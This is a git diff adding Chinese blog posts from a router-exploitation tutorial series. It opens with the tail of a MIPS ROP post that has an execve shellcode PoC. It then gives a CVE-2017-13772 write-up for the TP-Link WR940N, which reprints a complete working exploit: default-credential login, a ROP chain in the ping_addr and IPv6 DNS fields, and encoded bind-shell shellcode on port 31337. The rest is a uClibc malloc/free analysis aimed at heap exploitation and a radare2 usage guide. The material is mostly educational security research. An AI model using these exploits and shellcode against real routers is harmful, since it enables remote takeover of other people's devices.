+.text:0000AFE4 lw $fp, 0x40+var_8($sp) +.text:0000AFE8 lw $s7, 0x40+var_C($sp) +.text:0000AFEC lw $s6, 0x40+var_10($sp) +.text:0000AFF0 lw $s5, 0x40+var_14($sp) +.text:0000AFF4 lw $s4, 0x40+var_18($sp) +.text:0000AFF8 lw $s3, 0x40+var_1C($sp) +.text:0000AFFC lw $s2, 0x40+var_20($sp) +.text:0000B000 lw $s1, 0x40+var_24($sp) +.text:0000B004 lw $s0, 0x40+var_28($sp) +.text:0000B008 jr $ra +.text:0000B00C addiu $sp, 0x40 +.text:0000B00C # End of function scandir64 +``` + +于是利用的思路就很明确了。首先使用这段 `rop gadgets` 设置好寄存器,然后进入前文所说的 `rop` 链中执行。 +最后的poc如下: +``` +#!/usr/bin/python +from pwn import * +context.endian = "little" +context.arch = "mips" + +payload = "" + +# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes) +for i in range(30): + payload += "\x26\x40\x08\x01" + +# execve shellcode translated from MIPS to MIPSEL +# http://shell-storm.org/shellcode/files/shellcode-792.php +payload += "\xff\xff\x06\x28" # slti $a2, $zero, -1 +payload += "\x62\x69\x0f\x3c" # lui $t7, 0x6962 +payload += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f +payload += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp) +payload += "\x73\x68\x0e\x3c" # lui $t6, 0x6873 +payload += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e +payload += "\xf8\xff\xae\xaf" # sw $t6, -8($sp) +payload += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp) +payload += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc +payload += "\xff\xff\x05\x28" # slti $a1, $zero, -1 +payload += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab +payload += "\x0c\x01\x01\x01" # syscall 0x40404 +shellcode = payload + + +padding = "O" * 508 +payload = padding +payload += p32(0x766effe0) +payload += 'B' * 0x18 +payload += 'A' * 4 # $s0 +payload += p32(0x7670303c) # $s1 +payload += 'A' * 4 # $s2 +payload += 'A' * 4 # $s3 +payload += 'A' * 4 # $s4 +payload += 'A' * 4 # $s5 +payload += 'A' * 4 # $s6 +payload += 'A' * 4 # $s7 +payload += 'A' * 4 # $fp +payload += p32(0x76714b10) # $ra for jmp + +# stack for gadget 2 +payload += 'B' * 0x18 +payload += 'A' * 4 # $s0 +payload += p32(0x0002F2B0 + 0x766e5000) # $s1 +payload += 'A' * 4 # $s2 +payload += p32(0x766fbdd0) # $ra + + +# stack for gadget 2 for second +payload += 'B' * 0x18 +payload += p32(0x767064a0) # $s0 for jmp stack +payload += p32(0x0002F2B0 + 0x766e5000) # $s1 +payload += 'A' * 4 # $s2 +payload += p32(0x766fbdd0) # $ra for get stack addr + +# stack for shellcode +payload += shellcode + +payload = "A" * 508 + 'B' * 4 + +with open("input", "wb") as f: + f.write(payload) + + +# base 0x766e5000 + +``` +可以执行完毕 `shellcode` , 不过执行完后就异常了。神奇。 +### 总结 +在调试rop时可以先在调试器中修改寄存器,内存数据来模拟实现,然后在写到脚本里面。 + +参考链接: + +https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/ \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part5.md b/source/_posts/step_by_step_pwn_router_part5.md new file mode 100644 index 00000000..99ac64da --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part5.md @@ -0,0 +1,210 @@ +--- +title: 一步一步pwn路由器之wr940栈溢出漏洞分析与利用 +authorId: hac425 +tags: + - CVE-2017-13772 + - 路由器实战 +categories: + - 路由器安全 +date: 2017-10-29 22:20:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +这个是最近爆出来的漏洞,漏洞编号:[CVE-2017-13772](https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/) + + +固件链接:http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip + + +之前使用 `firmadyn` 可以正常模拟运行,但是调试不了,就没有仔细看这个漏洞。今天突然想起 他会启动一个 `ssh` 服务,那我们是不是就可以通过`ssh` 连上去进行调试,正想试试,又不能正常模拟了。。。。。下面看具体漏洞。 + +### 正文 + + +漏洞位与 管理员用来 `ping` 的功能,程序在获取`ip` 地址时没有验证长度,然后复制到栈上,造成栈溢出。搜索关键字符串 `ping_addr` 定位到函数 `sub_453C50` + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15092873431355nyiesez.png?imageslim) +获取 `ip` 地址后,把字符串指针放到 `$s6`寄存器,跟下去看看。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509287498785ykojz8u0.png?imageslim) + + +传入了`ipAddrDispose`函数,继续分析之: + + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509287595268qwyfsd2y.png?imageslim) +先调用了 `memset`  初始化缓冲区,然后调用 `strcpy` 把 `ip` 地址复制到栈上,溢出。 + + +利用的话和前文是一样的,经典的栈溢出,经典的 rop。 + +[一步一步pwn路由器之rop技术实战](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-28-%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5pwn%E8%B7%AF%E7%94%B1%E5%99%A8%E4%B9%8Brop%E6%8A%80%E6%9C%AF%E5%AE%9E%E6%88%98.html) + + +[一步一步pwn路由器之路由器环境修复&&rop技术分析](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-26-%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5pwn%E8%B7%AF%E7%94%B1%E5%99%A8%E4%B9%8B%E8%B7%AF%E7%94%B1%E5%99%A8%E7%8E%AF%E5%A2%83%E4%BF%AE%E5%A4%8D-rop%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90.html) + + +附上参考链接里的 `exp` + +``` +#!/usr/bin/python +# -*- coding: UTF-8 -*- +import urllib2 +import base64 +import hashlib +from optparse import * +import sys +import urllib + +banner = ( +"___________________________________________________________________________\n" +"WR940N Authenticated Remote Code Exploit\n" +"This exploit will open a bind shell on the remote target\n" +"The port is 31337, you can change that in the code if you wish\n" +"This exploit requires authentication, if you know the creds, then\n" +"use the -u -p options, otherwise default is admin:admin\n" +"___________________________________________________________________________" +) + +def login(ip, user, pwd): + print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd) + #### Generate the auth cookie of the form b64enc('admin:' + md5('admin')) + hash = hashlib.md5() + hash.update(pwd) + auth_string = "%s:%s" %(user, hash.hexdigest()) + encoded_string = base64.b64encode(auth_string) + + print "[+] Encoded authorisation: %s" %encoded_string#### Send the request + url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save" + print "[+] sending login to " + url + req = urllib2.Request(url) + req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string) + resp = urllib2.urlopen(req) + #### The server generates a random path for further requests, grab that here + data = resp.read() + next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3]) + print "[+] Got random path for next stage, url is now %s" %next_url + return (next_url, encoded_string) + +#custom bind shell shellcode with very simple xor encoder +#followed by a sleep syscall to flush cash before running +#bad chars = 0x20, 0x00 +shellcode = ( +#encoder +"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99" +"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit +"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9" +"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41" +"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d" +"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71" +"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d" +"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99" +"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5" +"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad" +"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9" +"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1" +"\x02\x2a\x18\x26\xae\x43\xff\xc1" + +#sleep +"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08" +"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" +"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c" + +################ encoded shellcode ############### +"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06" +"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff" +"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d" +"\x7a\x69" #<————————- PORT 0x7a69 (31337) +"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad" +"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc" +"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01" +"\x01\x0c\x24\x0f\x73\x50" +"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f" +"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48" +"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f" +"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50" +"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f" +"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c" +"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce" +"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8" +"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02" +"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" +"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c" +) + +###### useful gadgets ####### +nop = "\x22\x51\x44\x44" +gadg_1 = "\x2A\xB3\x7C\x60" # set $a0 = 1, and jmp $s1 +gadg_2 = "\x2A\xB1\x78\x40" +sleep_addr = "\x2a\xb3\x50\x90" +stack_gadg = "\x2A\xAF\x84\xC0" +call_code = "\x2A\xB2\xDC\xF0" + +def first_exploit(url, auth): + # trash $s1 $ra + rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4 + rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode + + params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'} + + new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params) + + print "[+] sending exploit…" + print "[+] Wait a couple of seconds before connecting" + print "[+] When you are finished do http -r to reset the http service" + + req = urllib2.Request(new_url) + req.add_header('Cookie', 'Authorization=Basic %s' %auth) + req.add_header('Referer', url + "DiagnosticRpm.htm") + + resp = urllib2.urlopen(req) + +def second_exploit(url, auth): + url = url + "WanStaticIpV6CfgRpm.htm?" + # trash s0 s1 s2 s3 s4 ret shellcode + payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c + payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4 + payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7 + print len(payload) + + params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1', + 'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000', + 'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA', + 'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'} + + new_url = url + urllib.urlencode(params) + + print "[+] sending exploit…" + print "[+] Wait a couple of seconds before connecting" + print "[+] When you are finished do http -r to reset the http service" + + req = urllib2.Request(new_url) + req.add_header('Cookie', 'Authorization=Basic %s' %auth) + req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm") + + resp = urllib2.urlopen(req) + +if __name__ == '__main__': + print banner + username = "admin" + password = "admin" + + (next_url, encoded_string) = login("192.168.0.1", username, password) + + ###### Both exploits result in the same bind shell ###### + #first_exploit(data[0], data[1]) + first_exploit(next_url, encoded_string) + + +``` + +参考链接: + +https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/ \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part6.md b/source/_posts/step_by_step_pwn_router_part6.md new file mode 100644 index 00000000..f766b22a --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part6.md @@ -0,0 +1,438 @@ +--- +title: 一步一步pwn路由器之uClibc中malloc&&free分析 +authorId: hac425 +tags: + - uclibc源码分析 + - malloc && free +categories: + - 路由器安全 +date: 2017-10-28 12:21:00 +--- +### 前言 + + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- +栈溢出告一段落。本文介绍下 `uClibc` 中的 `malloc` 和 `free` 实现。为堆溢出的利用准备基础。`uClibc` 是 `glibc` 的一个精简版,主要用于嵌入式设备,比如路由器就基本使用的是 `uClibc`, 简单自然效率高。所以他和一般的`x86`的堆分配机制会有些不一样。 + +### 正文 + +uClibc 的 `malloc` 有三种实现,分别为: + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509164969446w1f222m1.png?imageslim) +其中 `malloc-standard` 是最近更新的。它就是把 `glibc` 的 `dlmalloc` 移植到了 `uClibc`中。`malloc` 是`uClibc`最开始版本用的 `malloc`。本文分析的也是`malloc`目录下的`uClibc`自己最初实现的 `malloc`。 因为如果是 `malloc-standard` 我们可以直接按照 一般 `linux` 中的堆漏洞相关的利用技巧来利用它。 + +现在编译 `uClibc` 的话默认使用的是 `malloc-standard` ,我也不知道该怎么切换,所以就纯静态看看 `malloc`目录下的实现了。 + + +#### malloc +从 `malloc` 的入口开始分析。 为了简单起见删掉了无关代码。 +``` + +//malloc 返回一个指定大小为 __size 的指针。 + +/* +调用 malloc 申请空间时,先检查该链表中是否有满足条件的空闲区域节点 +如果没有,则向内核申请内存空间,放入这个链表中,然后再重新在链表中 +查找一次满足条件的空闲区域节点。 + +它实际上是调用 malloc_from_heap 从空闲区域中申请空间。 + +*/ + +void * +malloc (size_t size) +{ + void *mem; + + + //参数有效性检测。这里没有检测参数为负的情况 + + if (unlikely (size == 0)) + goto oom; + + + mem = malloc_from_heap (size, &__malloc_heap, &__malloc_heap_lock); + + return mem; +} + +``` + +`malloc` 实际使用的是 `malloc_from_heap` 来分配内存。 + +``` +static void * +__malloc_from_heap (size_t size, struct heap_free_area **heap + ) +{ + void *mem + + /* 一个 malloc 块的结构如下: + + +--------+---------+-------------------+ + | SIZE |(unused) | allocation ... | + +--------+---------+-------------------+ + ^ BASE ^ ADDR + ^ ADDR - MALLOC_ALIGN + + 申请成功后返回的地址是 ADDR + SIZE 表示块的大小,包括前面的那部分,也就是 MALLOC_HEADER_SIZE + */ + + //实际要分配的大小,叫上 header的大小 + size += MALLOC_HEADER_SIZE; + +//加锁 + __heap_lock (heap_lock); + + /* First try to get memory that's already in our heap. */ + //首先尝试从heap分配内存.这函数见前面的分析 + mem = __heap_alloc (heap, &size); + + __heap_unlock (heap_lock); + + /* + 后面是分配失败的流程,会调用系统调用从操作系统分配内存到 heap, 然后再调用__heap_alloc,进行分配,本文不在分析。 + */ + + +``` + + + +计算需要分配内存块的真实大小后进入 `__heap_alloc` 分配。 + +在 `heap`中使用 `heap_free_area` 来管理空闲内存,它定义在 `heap.h` +``` + +/* + + +struct heap_free_area +{ + size_t size; //空闲区的大小 + //用于构造循环链表 + struct heap_free_area *next, *prev; +}; + +size 表示该空闲区域的大小,这个空闲区域的实际地址并没有用指针详细地指明, +因为它就位于当前 heap_free_area 节点的前面,如下图所示: + ++-------------------------------+--------------------+ +| | heap_free_area | ++-------------------------------+--------------------+ +\___________ 空闲空间 ___________/\___ 空闲空间信息 ___/ + + +实际可用的空闲空间大小为 size – sizeof(struct heap_free_area) + +指针 next, prev 分别指向下一个和上一个空间区域, +所有的空闲区域就是通过许许多多这样的节点链起来的, +很显然,这样组成的是一个双向链表。 + +*/ + +``` +所以 `free` 块在内存中的存储方式和 `glibc` 中的存储方式是不一样的。它的元数据在块的末尾,而 `glibc`中元数据在 块的开头。 + + +下面继续分析 `__heap_alloc` + + +``` + +/* + 堆heap中分配size字节的内存 + */ +void * +__heap_alloc (struct heap_free_area **heap, size_t *size) +{ + struct heap_free_area *fa; + size_t _size = *size; + void *mem = 0; + + /* 根据 HEAP_GRANULARITY 大小向上取整,在 heap.h 中定义 */ + + _size = HEAP_ADJUST_SIZE (_size); + //如果要分配的内存比FA结构还要小,那就调整它为FA大小 + + + if (_size < sizeof (struct heap_free_area)) + + + //根据HEAP_GRANULARITY 对齐 sizeof(double) + _size = HEAP_ADJUST_SIZE (sizeof (struct heap_free_area)); + + //遍历堆中的FA,找出有合适大小的空闲区,在空闲区域链表中查找大小大于等于 _SIZE 的节点 + for (fa = *heap; fa; fa = fa->next) + if (fa->size >= _size) + { + /* Found one! */ + mem = HEAP_FREE_AREA_START (fa); + //从该空间中分得内存。这函数前面已经分析过了 + *size = __heap_free_area_alloc (heap, fa, _size); + break; + } + return mem; +} + +``` +找到`大小 >= 请求size` 的 `heap_free_area`,然后进入 `__heap_free_area_alloc 分配`。 + +``` +/* + 该函数从fa所表示的heap_free_area中,分配size大小的内存 + */ +static __inline__ size_t +__heap_free_area_alloc (struct heap_free_area **heap, + struct heap_free_area *fa, size_t size) +{ + size_t fa_size = fa->size; + + //如果该空闲区剩余的内存太少。将它全部都分配出去 + + + + + + + if (fa_size < size + HEAP_MIN_FREE_AREA_SIZE) + { + ////将fa从heap中删除 + __heap_delete (heap, fa); + /* Remember that we've alloced the whole area. */ + size = fa_size; + } + else + /* 如果这个区域中还有空闲空间,就把 heap_free_area 节点中 + 的 size 减小 size就可以了: + + 分配前: + __________ 空闲空间 __________ __ 空闲空间信息 __ + / \ / \ + +-------------------------------+--------------------+ + | | heap_free_area | + +-------------------------------+--------------------+ + \__________ fa->size __________/ + + 分配后: + ___ 已分配 __ __ 空闲空间 __ __ 空闲空间信息 __ + / \ / \ / \ + +-------------------------------+--------------------+ + | | | heap_free_area | + +-------------------------------+--------------------+ + \____ size ___/ \__ fa->size __/ + + */ + + fa->size = fa_size - size; + + return size; +} + +``` + +注释很清晰了。所以如果我们有一个堆溢出,我们就需要覆盖到下面空闲空间的 `heap_free_area` 中的 指针,才能实现 `uClibc` 中的 `unlink` 攻击(当然还要其他条件的配合),另外我们也知道了在 `malloc` 的时候,找到合适的 `heap_free_area` 后,只需要修改 `heap_free_area` 的 size位就可以实现了分配,所以在 `malloc` 中是无法 触发类似 `unlink` 的攻击的。 + +下面进入 `free` + +#### Free +首先看 free 函数。 + +``` +void +free (void *mem) +{ + free_to_heap (mem, &__malloc_heap, &__malloc_heap_lock); +} + +``` + +直接调用了 ` free_to_heap ` 函数。 + +``` + +static void +__free_to_heap (void *mem, struct heap_free_area **heap) +{ + size_t size; + struct heap_free_area *fa; + /* 检查 mem 是否合法 */ + if (unlikely (! mem)) + return; +/* 获取 mem 指向的 malloc 块的的实际大小和起始地址 */ + size = MALLOC_SIZE (mem); //获取块的真实大小 + mem = MALLOC_BASE (mem); //获取块的基地址 + __heap_lock (heap_lock); //加锁 + /* 把 mem 指向的空间放到 heap 中 */ + fa = __heap_free (heap, mem, size); + + //如果FA中的空闲区超过 MALLOC_UNMAP_THRESHOLD。就要进行内存回收了,涉及 brk, 看不懂,就不说了,感觉和利用也没啥关系。 +``` + +首先获得了 内存块的起始地址和大小,然后调用 `__heap_free` 把要 `free` 的内存放到 `heap` 中。 + +``` + +/* +语义上的理解是释放掉从mem开始的size大小的内存。换句话说,就是把从从mem开始的,size大小的内存段,映射回heap。 +*/ +struct heap_free_area * +__heap_free (struct heap_free_area **heap, void *mem, size_t size) +{ + struct heap_free_area *fa, *prev_fa; + + //拿到 mem的 结束地址 + void *end = (char *)mem + size; + + + /* 空闲区域链表是按照地址从小到大排列的,这个循环是为了找到 mem 应该插入的位置 */ + for (prev_fa = 0, fa = *heap; fa; prev_fa = fa, fa = fa->next) + if (unlikely (HEAP_FREE_AREA_END (fa) >= mem)) + break; + + if (fa && HEAP_FREE_AREA_START (fa) <= end) + //这里是相邻的情况,不可能小于,所以进入这的就是 HEAP_FREE_AREA_START (fa) == end, 则 mem, 和 fa所表示的内存块相邻 + { + /* + 如果 fa 和 mem 是连续的,那么将 mem 空间并入 fa 节点(增加fa的大小即可)管理, 如图所示,地址从左至右依次增大 + + +---------------+--------------+---------------+ + | |prev_fa| mem |fa_chunk| fa | + +---------------+--------------+---------------+ + ^______________________________^ + + prev_fa 与 fa 的链接关系不变,只要更改 fa 中的 size 就可以了 + */ + + size_t fa_size = fa->size + size; + if (HEAP_FREE_AREA_START (fa) == end) + { + if (prev_fa && mem == HEAP_FREE_AREA_END (prev_fa)) + { + + /* 如果 fa 前一个节点和 mem 是连续的,那么将 fa 前一个节点的空间 + 也并入 fa 节点管理 + + +---------------+---------------+--------------+---------------+ + | |pre2_fa| |prev_fa| mem | | fa | + +---------------+---------------+--------------+---------------+ + ^______________________________________________^ + + 将 prev_fa 从链表中移出,同时修改 fa 中的 size + */ + fa_size += prev_fa->size; + __heap_link_free_area_after (heap, fa, prev_fa->prev); + } + } + else + { + struct heap_free_area *next_fa = fa->next; + + /* 如果 mem 与 next_fa 是连续的,将 mem 并入 next_fa 节点管理 + + +---------------+--------------+--------------+---------------+ + | |prev_fa| | fa | mem | |next_fa| + +---------------+--------------+--------------+---------------+ + ^_____________________________________________^ + + 将 fa 从链表中移出,同时修改 next_fa 中的 size + */ + if (next_fa && end == HEAP_FREE_AREA_START (next_fa)) + { + fa_size += next_fa->size; + __heap_link_free_area_after (heap, next_fa, prev_fa); + fa = next_fa; + } + else + /* FA can't be merged; move the descriptor for it to the tail-end + of the memory block. */ + + + /* 如果 mem 与 next_fa 不连续,将 fa 结点移到 mem 尾部 + + +---------------+--------------+--------------+---------------+ + | |prev_fa| | fa | mem | unused | |next_fa| + +---------------+--------------+--------------+---------------+ + ^___________________^^________________________^ + + 需要重新链接 fa 与 prev_fa 和 next_fa 的关系 + */ + { + /* The new descriptor is at the end of the extended block, + SIZE bytes later than the old descriptor. */ + fa = (struct heap_free_area *)((char *)fa + size); + /* Update links with the neighbors in the list. */ + __heap_link_free_area (heap, fa, prev_fa, next_fa); + } + } + fa->size = fa_size; + } + else + /* 如果fa和 mem之间有空隙或者 mem> HEAP_FREE_AREA_END (fa),那么可以简单地 + 把 mem 插入 prev_fa 和 fa之间 */ + fa = __heap_add_free_area (heap, mem, size, prev_fa, fa); + + return fa; +} + +``` + +`__heap_link_free_area` 就是简单的链表操作。没有什么用。 +``` +static __inline__ void +__heap_link_free_area (struct heap_free_area **heap, struct heap_free_area *fa, + struct heap_free_area *prev, + struct heap_free_area *next) +{ + fa->next = next; + fa->prev = prev; + + if (prev) + prev->next = fa; + else + *heap = fa; + if (next) + next->prev = fa; +} +``` + +感觉唯一可能的利用点在于,前后相邻的情况,需要先把 `prev_fa` 拆链表,我们如果可以伪造 `prev_fa->prev`,就可以得到一次内存写的机会,不过也只能写入 `fa` 的值 +``` +fa_size += prev_fa->size; +__heap_link_free_area_after (heap, fa, prev_fa->prev); + ``` + +``` +static __inline__ void +__heap_link_free_area_after (struct heap_free_area **heap, + struct heap_free_area *fa, + struct heap_free_area *prev) +{ + if (prev) + prev->next = fa; + else + *heap = fa; + fa->prev = prev; +} +``` + +### 总结 + +怎么感觉没有可利用的点,还是太菜了。以后如果遇到实例一定要补充进来。 + +tips: + +- 分析库源码时看不太懂可以先编译出来,然后配合这 `ida` 看,所以要编译成 `x86` 或者 `arm` 方便 `f5` 对照看。比如这次,我把 `uClibc` 编译成 `arm` 版后,使用 `ida` 一看,发现 `uClibc` 怎么使用的是 `glibc` 的那一套,一看源码目录发现,原来它已经切换到 `glibc` 这了。 + +- 忽然想起来交叉编译环境感觉可以用 docker 部署,网上一搜发现一大把,瞬间爆炸。 + +参考链接: + +http://blog.chinaunix.net/uid-20543183-id-1930765.html + +http://hily.me/blog/2007/06/uclibc-malloc-free/ \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part7.md b/source/_posts/step_by_step_pwn_router_part7.md new file mode 100644 index 00000000..9968f51e --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part7.md @@ -0,0 +1,366 @@ +--- +title: 一步一步pwn路由器之radare2使用全解 +authorId: hac425 +tags: + - radare2 +categories: + - 路由器安全 +date: 2017-10-31 15:12:00 +--- +### 前言 + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +`radare2` 最近越来越流行,已经进入 `github` 前 25了,看到大佬们纷纷推荐,为了紧跟时代潮流,我也决定探究探究这款 `神器` 。下面画画重点,以便以后需要用了,可以方便查找。 + + +### 正文 + +首先是安装 `radare2` ,直接去官方 `github` 安照指示安装即可。先把源代码下载下来 + +``` +https://github.com/radare/radare2 +``` + +然后进入源码目录,执行 + +``` + sys/install.sh +``` + + +`radare2` 支持各种各样的平台,文件格式,具体可以看官网描述。它有很多各组件分别进行不同的工作。这些组件是: +- rax2 ---------> 用于数值转换 +- rasm2 -------> 反汇编和汇编 +- rabin2 -------> 查看文件格式 +- radiff2 ------> 对文件进行 diff +- ragg2/ragg2­cc ------> 用于更方便的生成shellcode +- rahash2 ------> 各种密码算法, hash算法 +- radare2 ------> 整合了上面的工具 + + + +### rax2 + +数值转换,程序的 `help` 菜单很明确了: + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509440109544fxedvvf0.png?imageslim) + +比如输入`rax2 -s 414141` ,会返回 `AAAA` +### rabin2 +对各种文件格式进行解析。 + +`rabin2 -I hello_pwn` 显示文件的信息 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509442510111na1s1dfo.png?imageslim) + +使用 ` -l` 显示依赖库。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509442808573t2mk98r0.png?imageslim) + +使用 `-zz` 显示字符串信息,可以显示 `utf-8` 等宽字节字符串。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509442931440cmccvl54.png?imageslim) + +可以看到显示了长度,所在位置等信息。 + +通过使用 `-O` 选项可以修改一些文件的信息。 + +``` +haclh@ubuntu:~$ rabin2 -O? +Operation string: + Change Entrypoint: e/0x8048000 + Dump Symbols: d/s/1024 + Dump Section: d/S/.text + Resize Section: r/.data/1024 + Remove RPATH: R + Add Library: a/l/libfoo.dylib + Change Permissions: p/.data/rwx + Show LDID entitlements: C + +``` +比如修改 `section` 的属性 + +``` +haclh@ubuntu:~$ rabin2 -S a.out | grep text +idx=14 vaddr=0x00400430 paddr=0x00000430 sz=386 vsz=386 perm=--rwx name=.text +haclh@ubuntu:~$ rabin2 -O p/.text/r a.out +wx 02 @ 0x1d60 +haclh@ubuntu:~$ rabin2 -S a.out | grep text +idx=14 vaddr=0x00400430 paddr=0x00000430 sz=386 vsz=386 perm=--r-- name=.text + +``` + +### rasm2 +这个工具用于进行各种平台的汇编和反汇编。该工具的主要选项有。 +``` +-a 设置汇编和反汇编的架构(比如x86,mips, arm...) +-L 列举支持的架构。 +-b 设置 位数 +-d,-D 反汇编 提供的 16进制字符串。 +``` +使用示例: +首先列举支持的架构(使用 `head` 只列举前面几项) + +``` +haclh@ubuntu:~$ rasm2 -L | head +_dAe 8 16 6502 LGPL3 6502/NES/C64/Tamagotchi/T-1000 CPU +_dA_ 8 8051 PD 8051 Intel CPU +_dA_ 16 32 arc GPL3 Argonaut RISC Core +a___ 16 32 64 arm.as LGPL3 as ARM Assembler (use ARM_AS environment) +adAe 16 32 64 arm BSD Capstone ARM disassembler +_dA_ 16 32 64 arm.gnu GPL3 Acorn RISC Machine CPU +_d__ 16 32 arm.winedbg LGPL2 WineDBG's ARM disassembler +adAe 8 16 avr GPL AVR Atmel +adAe 16 32 64 bf LGPL3 Brainfuck (by pancake, nibble) v4.0.0 +_dA_ 16 cr16 LGPL3 cr16 disassembly plugin + +``` +使用 `arm` 插件,汇编 三条 `nop` 指令 + +``` +haclh@ubuntu:~$ rasm2 -a arm "nop;nop;nop;" +0000a0e10000a0e10000a0e1 + +``` +然后我们使用 `-d` 把它反汇编出来 + +``` +haclh@ubuntu:~$ rasm2 -a arm -d 0000a0e10000a0e10000a0e1 +mov r0, r0 +mov r0, r0 +mov r0, r0 + +``` +我可以在命令后面加上 `-r` 打印出在 `radare2`中实现对应的功能,需要使用的命令( `wa` 命令的作用是,汇编给出的指令,并把汇编得到的数据写到相应位置,默认是当前位置)。 +``` 